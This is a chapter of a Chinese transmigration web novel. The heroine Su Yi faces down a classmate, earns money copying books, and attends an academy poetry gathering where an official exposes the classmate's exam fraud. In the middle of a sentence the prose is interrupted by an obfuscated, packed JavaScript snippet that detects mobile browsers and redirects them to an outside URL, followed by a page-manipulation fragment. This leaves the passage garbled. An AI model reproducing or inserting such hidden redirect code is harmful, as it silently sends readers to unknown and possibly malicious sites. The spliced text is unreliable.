众人敬畏贺景辞家世,又听得他叔父前些日刚刚回了金陵,越发不敢打扰他午休睡觉,当即用最快的速度回到自己座位,留给苏宜一个相对安静的抄书环境。 可能今天的苏宜多少有些流年不利,晁信刚刚离开不久,便有更麻烦的人物找来过来。 段文翰那天听人说起,新来书院读书的苏宜和苏缜是没出五服的亲戚,所以买了苏缜的入学名额读书,倒也没有在意。 结果那天经过教工区宿舍时听李笙跟齐先生聊天,道是段文翰这孩子发心不正,太急功近利,就算过了县试又能如何?终归是走不远的。 段文翰知道李笙家世不错,父辈又跟贺家交好,来学院教书也不过为了镀金,因而对他一直十分恭敬,从没得罪过这位先生。 而李笙对他竟是如此评价,让他着实有些震惊。 明眼人都看得出来,苏宜和李笙近来走得很近,想来肯定是苏宜跟李笙说了自己坏话,才有了那日李笙对自己的说法,想到这里,段文翰气势汹汹地找了过来。 他站在桌前,居高临下地看着正在低头抄录《云笈七籤》的苏宜:“你小子就是苏宜?我可奉劝你一句,就算想要给家里亲戚出头,也要掂量一下自己的斤两,别落得跟他一般半路退学的下场。” 经过这些天对科举考试条例和《大周律》的通读,苏宜了解到,这年头谎报籍贯考试可比后世档案作假处罚严厉得多,是严重违反《钦定科场条例》,扰乱科举制度的犯罪行为。 毫不客气的说,段文翰还能在这里读几天书主要取决于付大人的工作效率和调查进度,这会儿不说夹着尾巴做人,想想如何善后,却跑来跟她大放厥词,让她当心走上苏缜“半路退学”的老路。 在她看来实在有些荒诞。 段文翰看苏宜一脸不屑,唇角的讥讽都要漫出来,只觉心中怒火更盛:“你笑什么?” “没什么。”苏宜幽幽道,“就是觉得有些人……还真是不知死活。” 她缓缓写完书册上的最后一笔,将那首绝句摊在段文翰跟前:“李老板那日还说起,不日便将入冬,书肆墙上的字也要换一换。他素来喜欢刘长卿《风雪宿芙蓉山主人》的意境,那首诗怎么说来着?‘柴门闻犬吠,风雪夜归人’,倒也颇合今天的场景。” 听到“犬吠”两个字的段文翰脸色一变:“你敢骂我?” “是啊。”苏宜应道,“你隔着班大老远跑来我跟前找骂,我成全你也是该当的。” 11.011 段文翰原也只是想警告苏宜认清自己身份,不要在学堂搞事,结果对方一脸气定神闲的坐在那儿,显然没有把他这个人放在眼里。 他家和县丞贾家的关系在书院可谓是人尽皆知,这苏宜如果手上没有底牌,想来断不敢如此。 可他一早就打听过,苏宜不过是乡里来的孩子,跟贺家家主并无半分交情,只是个人同贺景辞比较投缘。 眼看着马上就到了上课时间,被警告的苏宜也没有预想中对自己低声下气的赔礼道歉,段文翰只觉丢了面子,留下一句“你好自为之”,便离开了教室。 李记书肆和明德书院有合作关系,学院很大一部分的教辅资料都是从书肆订购。 书肆做得大都是学子的生意,也正因如此,李记书肆生意一直很好,算得上是上元县中的行业翘楚。 书肆在管理上很是正规,更兼有李笙这一层关系在,所以在苏宜交稿之后,书肆那边很快就让伙计把酬金送了过来,足足八百三十钱,对于十一岁的苏宜来说的确是一笔巨款。 书院附近的首饰店最近正在做折扣,一向傲娇的老板娘在门外支了小摊搞促销,拿到巨款的苏宜在放学途中经过,挑了性价比较高的蜜蜡石珠花和两个琉璃水滴发夹带回去给姨母和堂妹。 姨妈收到礼物脸却拉得老长:“你哪来的钱买这些东西?” 小姑娘年纪轻轻,可别是在外头走了什么歪路才好。 “李笙先生说我字好,给我介绍了个抄书的活计,今儿书肆刚刚送来了酬劳。” “写字就能赚钱吗?”表妹钟钰惊讶地睁大了眼睛。 这些饰品加起来两百文都不止呢,姐姐这份活计显然赚的不少。 钟琪突然想起了什么,跑回屋中将苏宜昨日专程给她姊妹两个写的字帖取了出来,抬头望向苏宜道:“姐姐写的这本字帖也能拿去卖几十文吧,这么珍贵的书册就这样送给我们了吗?” 苏宜原本想说“珍贵”两个字不是这么用的,但对上表妹殷切的眼神,最后换了口风道:“是啊,你们能认真练习把上面的字写好,就算是物有所值了。” 听得这话之后,两姐妹的学习动力更足了几分,钟琪当即表示,等自己日后靠着学问赚了钱,也要给母亲和姐姐买最好看的首饰和衣裳。 钟姨妈看着苏宜和两个女儿的互动,只觉得内心如同桌上晃动的桔色灯火一般,十分温暖。 女官的选拔方式和男子不同,苏宜目标明确,想要日后被女帝特招入朝,不打算考科举,也没想要学八股。 但她是那种即便不主观去学,也会不经意中获取技能的人。在书院的环境里待得久了,知识入脑依然抵挡不住。 今天作业题目是政策分析类,苏宜也没想到,她一个高考八百字都凑得头疼的人,洋洋洒洒写出来两千字文言文策论,顿觉人的潜力是无穷的。 一转眼就到了月末休假这天。 苏宜意识到自己在学堂又上了半个月,却依然没有付大人那边查案进展的消息,心中不免有些焦急。 不过休假难得,她又没多少学业压力,便打算帮着姨妈洗洗衣服做做家务,结果好好计划在第二日清晨就被停在门外的马车打乱。 教习先生李笙亲自上门找到苏宜:“走,跟我去书院。” 苏宜多少有些弄不清状况:“今儿学里不是放假?” “几位大人来书院参观游览,一同过去坐坐,别误了时间。” 大领导参观地方标志性学校在古今中外都是十分常见的事情,苏宜表示理解,可她这样刚刚入学一个月连县试都没通过的学生,应该不够格去陪同参观。 可李笙这会儿根本没心思去给她答疑解惑,从上车起就捧着两本书在看,嘴里叽里咕噜的边看边记,估计今日过来学院的人中也有他有认识的长辈,怕被来人问住,开始临时抱佛脚。 苏宜识时务地闭嘴,倚在靠垫上闭目养神了一会儿。 两人下车之后,李笙便带她直奔学堂后院的桂花树,学院都讲究“蟾宫折桂”的好意头,所以明德书院的后院当中也有三棵开得极盛的桂花树。 今天大概是一场茶话会性质的聚会,两人赶到后院之时,树下已经坐了不少的人。 苏宜认得里面有书院院长,两位副院长,还有两位督学,这还是她入学一个月来第一次见到这么多学校领导。 而坐在上首的那位大人物,便是苏宜曾有过一面之缘的付大人。 苏宜此时无比庆幸当日给付大人送条例时,带了帷帽穿了女装,付大人绝不会将她这个书院学生和那日送书的女子联系在一处。 而傅大人身边那位中年男子跟贺景辞面容有些相像,应该就是他的叔父,时任光禄寺少卿的贺大人了。 贺景辞毕竟还要在书院读书,贺大人即便已然官居四品,但对着侄儿的学校领导依然客气:“都说这桂树是极好的意头,长势越盛,书院学生前程也就越好,几年不见,这桂树长得倒是越发好了。” 他的话音刚落,就见到在座的学院先生们脸上都闪过一瞬间的尴尬。 毕竟学院这两年升学率是肉眼可见的下降,大有一种要击穿谷底的趋势,院长听得这话差点丧失了表情管理,险些没有绷住。 李笙适时巧妙转换话题为几位介绍了苏宜,说她是这一届他带过的书法的最好的学生,今日可以帮着两位大人和院长抄诗成册。 苏宜终于明白了李笙将她带来的目的。 今天算是在书院组织的小型的雅集诗会,历史上最出名的便是由王羲之作《兰亭集序》的兰亭聚会。 这年头大户人家附庸风雅,不爱看千篇一律的印刷书籍,也会专门雇佣写字好的后生给自己抄书誊字,唤作“佣书”,是一种雇佣关系。 而李笙此时将她唤来,更像是后世导师让学生帮忙做点活,性质并非如此。 能在这些人跟前露脸,是全校师生都求之不得的事,苏宜也知道,李笙这是心里实打实的想着她,也对他投以感激微笑。 苏宜给各位师长行礼过后便在垫子上坐下来,废话不多说,开始研墨铺纸,进入打工人状态。 还不待付大人开口作序之际,又有两个年轻公子赶了过来。 前面那个风风火火,一上来就感叹车子拨缝误了时辰的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477421|185549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是贺景辞,后面那个一身白衣的翩翩少年苏宜却不认识。 不等贺大人出言训侄子,付大人率先出声道:“就是私人聚会,无妨。都别站着了,景辞,祈安,过来坐。” 苏宜呼吸一滞。 原来跟在贺景辞身后的那个少年,就是原文男主盛祈安。 即便只是已经一个十几岁的少年,却已然有了洞澈而清明的眼睛,谦谦君子的做派和温润如玉的气质,也难怪朝堂上下都会对其不自觉的亲近和信任。 作为宁王的鹰爪,苏缜站在盛祈安的对立面,几次三番迫害于他,宁王被圈之后也落得流放岭南的下场。 后来原身出嫁之时,送亲队伍正好遇上盛祈安的轿撵。 彼时宁王已倒,盛祈安作为正三品朝堂新贵,可谓是如日中天,而原身要嫁得只是忠顺伯府旁支,夫婿无官无职,还是作为继室入府,如果盛祈安念着之前和苏缜的仇怨,开口为难于她,不光当时的苏宜会非常难堪,甚至夫家听闻两方过节后,怕得罪盛祈安,会有休弃原身的可能。 盛祈安了解情况后却只是平和道,新妇是从前在金陵读书时同窗家中长姐,今日得见也是缘分。在祝过新人琴瑟和鸣,百年好合后,吩咐身边随侍递上礼金不说,还示意车夫退后,让送亲队伍先过。 也正因如此,原身夫家不再担心苏宜受到弟弟牵连,被盛祈安一系打击报复,婚后对她一直还算不错。 原文中的盛祈安有些现代法治思维,认为祸不及家人,尤其是苏缜那个一直住在乡里从来没有参与过政治斗争的无辜长姐,所以对原身一直客客气气。 虽然在奉行君子报仇十年不晚的苏宜看来,这样的性格多少有点圣父,但也不能否认盛祈安是真正的君子,在朝廷斗争最激烈的时候也从不殃及无辜之人。 可惜他们两方是天然对立,否则官场上能有这样一个合作伙伴应该会很安心。 盛祈安的目光看过来,不偏不倚地对上苏宜的眼睛。 这几日贺景辞总在家不经意地说起苏宜的好处,由不得人不印象深刻,又听贺大人说起她于书法一事颇有造诣,今日李笙特意邀她来誊录诗集,所以进场之后不自觉地注意到她。 苏宜并没有同他对视,只一眼后便匆匆别过头去。 可即便只有这一眼,盛祈安仍感知出来,苏宜望向他的眼神之中包含了太多说不清道不明的复杂情绪,仿佛有过多年恩怨。 可他们明明只是第一次相见。 人都基本到齐后,众人开始进入正题,吟诗作赋的同时偶尔也会说起一些时事杂谈。 苏宜一心二用,运笔抄录的同时听着几人交谈,想看看能不能获取什么有用信息。 院长有些讨好地对着付大人笑笑,问起坊间都在传言的明年要开恩科之事,请付大人给个明示。 付大人神色一凛,语气也严肃认真起来:“说起恩科,我倒想起一事。上元县中竟有人未按《大周钦定考场条例》上报户籍,却于月前参加科考,刚刚过了县试。 他稍事停顿后,对陈院长道:“我派人一番查探之后才得知,该生姓段,竟是是贵校学子。”